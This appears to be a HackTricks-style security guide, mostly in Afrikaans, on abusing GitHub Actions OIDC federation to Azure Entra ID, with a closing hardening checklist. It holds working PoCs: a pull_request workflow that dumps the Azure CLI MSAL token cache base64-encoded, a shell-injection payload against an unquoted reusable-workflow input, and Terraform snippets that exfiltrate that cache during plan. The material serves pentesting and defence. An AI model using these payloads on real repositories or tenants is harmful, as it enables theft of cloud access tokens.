# Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity)

{{#include ../../../banners/hacktricks-training.md}}

## Oorsig

GitHub Actions kan 'federate' na Azure Entra ID (voorheen Azure AD) met OpenID Connect (OIDC). 'n GitHub workflow vra 'n kortstondige GitHub ID-token (JWT) aan wat besonderhede oor die run enkodeer. Azure valideer hierdie token teen 'n Federated Identity Credential (FIC) op 'n App Registration (service principal) en ruil dit in vir Azure-toegangstokens (MSAL cache, bearer tokens vir Azure APIs).

Azure valideer ten minste:
- iss: https://token.actions.githubusercontent.com
- aud: api://AzureADTokenExchange (wanneer dit vir Azure-tokens omgeruil word)
- sub: moet ooreenstem met die geconfigureerde FIC Subject identifier

> Die standaard GitHub aud mag 'n GitHub URL wees. Wanneer jy met Azure ruil, stel uitdruklik audience=api://AzureADTokenExchange.

## GitHub ID token vinnige PoC
```yaml
name: Print OIDC identity token
on: { workflow_dispatch: {} }
permissions:
id-token: write
jobs:
view-token:
runs-on: ubuntu-latest
steps:
- name: get-token
run: |
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
# Base64 avoid GitHub masking
echo "$OIDC_TOKEN" | base64 -w0
```
Om Azure audience op token request af te dwing:
```bash
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")
```
## Azure opstelling (Workload Identity Federation)

1) Skep App Registration (service principal) en verleen die minste nodige regte (bv. Storage Blob Data Contributor op 'n spesifieke storage account).

2) Voeg Federated identity credentials toe:
- Issuer: https://token.actions.githubusercontent.com
- Audience: api://AzureADTokenExchange
- Subject identifier: noukeurig beperk tot die beoogde workflow/run-konteks (sien Scoping and risks hieronder).

3) Gebruik azure/login om die GitHub ID-token te ruil en by die Azure CLI aan te meld:
```yaml
name: Deploy to Azure
on:
push: { branches: [main] }
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Az CLI login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Upload file to Azure
run: |
az storage blob upload --data "test" -c hmm -n testblob \
--account-name sofiatest --auth-mode login
```
Handmatige uitruilvoorbeeld (Graph-omvang getoon; ARM of ander hulpbronne soortgelyk):
```http
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded

client_id=<app-client-id>&grant_type=client_credentials&
client_assertion=<GitHub-ID-token>&client_info=1&
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default
```
## GitHub OIDC subject (sub) anatomie en aanpassing

Standaard sub-formaat: repo:<org>/<repo>:<context>

Kontekswaardes sluit in:
- environment:<env>
- pull_request (PR word geaktiveer wanneer dit nie in 'n omgewing is nie)
- ref:refs/(heads|tags)/<name>

Nuttige claims wat dikwels in die payload voorkom:
- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor

Pas sub-samestelling aan via die GitHub API om addisionele claims in te sluit en botsingsrisiko te verminder:
```bash
gh api orgs/<org>/actions/oidc/customization/sub
gh api repos/<org>/<repo>/actions/oidc/customization/sub
# Example to include owner and visibility
gh api \
--method PUT \
repos/<org>/<repo>/actions/oidc/customization/sub \
-f use_default=false \
-f include_claim_keys='["repository_owner","repository_visibility"]'
```
Nota: Dubbelpunte in omgewingname is URL‑gekodeer (%3A), wat ouer delimiter‑inspuitingstegnieke teen sub‑parsing uitskakel. Dit is egter steeds onveilig om nie‑unikale subjekte te gebruik (bv. net environment:<name>).

## Omvang en risiko's van FIC-subjektipe

- Tak/Tag: sub=repo:<org>/<repo>:ref:refs/heads/<branch> of ref:refs/tags/<tag>
- Risiko: As die tak/tag onbeskerm is, kan enige bydraer push en tokens verkry.
- Omgewing: sub=repo:<org>/<repo>:environment:<env>
- Risiko: Onbeskermde omgewings (geen beoordelaars) laat bydraers toe om tokens te mint.
- Pull request: sub=repo:<org>/<repo>:pull_request
- Hoogste risiko: Enige samewerker kan 'n PR oopmaak en die FIC bevredig.

PoC: PR‑triggered token theft (exfiltrate the Azure CLI cache written by azure/login):
```yaml
name: Steal tokens
on: pull_request
permissions:
id-token: write
contents: read
jobs:
extract-creds:
runs-on: ubuntu-latest
steps:
- name: azure login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Extract access token
run: |
# Azure CLI caches tokens here on Linux runners
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
# Decode twice locally to recover the bearer token
```
Gerelateerde lêerliggings en notas:
- Linux/macOS: ~/.azure/msal_token_cache.json hou MSAL-tokens vir az CLI-sessies
- Windows: msal_token_cache.bin onder gebruikersprofiel; DPAPI‑protected

## Herbruikbare workflows en job_workflow_ref-omvang

Om 'n herbruikbare workflow aan te roep voeg job_workflow_ref by die GitHub ID-token, bv.:
```
ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
```
FIC-voorbeeld om beide die caller repo en die reusable workflow te koppel:
```
sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>
```
Konfigureer claims in die caller repo sodat beide repo en job_workflow_ref in sub teenwoordig is:
```http
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>

{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}
```
Waarskuwing: As jy slegs job_workflow_ref in die FIC bind, kan 'n aanvaller 'n ander repo in dieselfde org skep, dieselfde herbruikbare workflow op dieselfde ref uitvoer, die FIC bevredig, en tokens mint. Sluit altyd ook die caller repo in.

## Code-uitvoeringsvektore wat job_workflow_ref-beskermings omseil

Selfs met 'n korrek afgebakende job_workflow_ref, kan enige caller‑controlled data wat die shell sonder veilige aanhaling bereik, lei tot code-uitvoering binne die beskermde workflow‑konteks.

Voorbeeld van 'n kwesbare herbruikbare stap (interpolasie sonder aanhalingstekens):
```yaml
- name: Example Security Check
run: |
echo "Checking file contents"
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
echo "Malicious content detected!"; exit 1
else
echo "File contents are safe."
fi
```
Kwaadaardige caller input om commands uit te voer en die Azure token cache te exfiltreer:
```yaml
with:
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
```
## Terraform plan as an execution primitive in PRs

Behandel Terraform plan as kode-uitvoering. Tydens die plan kan Terraform:
- Lees enige lêers via funksies soos file()
- Voer opdragte uit via die external data source

Voorbeeld om die Azure token cache tydens die plan te exfiltrate:
```hcl
output "msal_token_cache" {
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
}
```
Of gebruik external om arbitrêre opdragte uit te voer:
```hcl
data "external" "exfil" {
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
}
```
Granting FICs usable on PR‑triggered plans exposes privileged tokens and can tee up destructive apply later. Separate identities for plan vs apply; never allow privileged tokens in untrusted PR contexts.

## Uithardingskontrolelys

- Gebruik nooit sub=...:pull_request vir sensitiewe FICs nie
- Beskerm enige branch/tag/environment wat deur FICs verwys word (branch protection, environment reviewers)
- Verkies FICs wat afgebaken is tot beide repo en job_workflow_ref vir herbruikbare workflows
- Pas GitHub OIDC sub aan om unieke claims in te sluit (bv., repo, job_workflow_ref, repository_owner)
- Elimineer interpolasie van caller inputs wat nie in aanhalingstekens staan nie in run steps; enkodeer/kwoteer veilig
- Behandel terraform plan as kode-uitvoering; beperk of isoleer identiteite in PR-kontekste
- Dwing minste voorreg af op App Registrations; skei identiteite vir plan vs apply
- Pin actions en herbruikbare workflows na commit SHA's (vermy branch/tag pins)

## Handmatige toetswenke

- Vra 'n GitHub ID token in‑workflow aan en druk dit base64 om masking te vermy
- Dekodeer JWT om claims te inspekteer: iss, aud, sub, job_workflow_ref, repository, ref
- Ruil die ID token handmatig by login.microsoftonline.com uit om FIC-matching en scopes te bevestig
- Na azure/login, lees ~/.azure/msal_token_cache.json om teenwoordigheid van tokenmateriaal te verifieer

## References

- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2)
- [azure/login action](https://github.com/Azure/login)
- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external)
- [gh CLI](https://cli.github.com/)
- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils)

{{#include ../../../banners/hacktricks-training.md}}
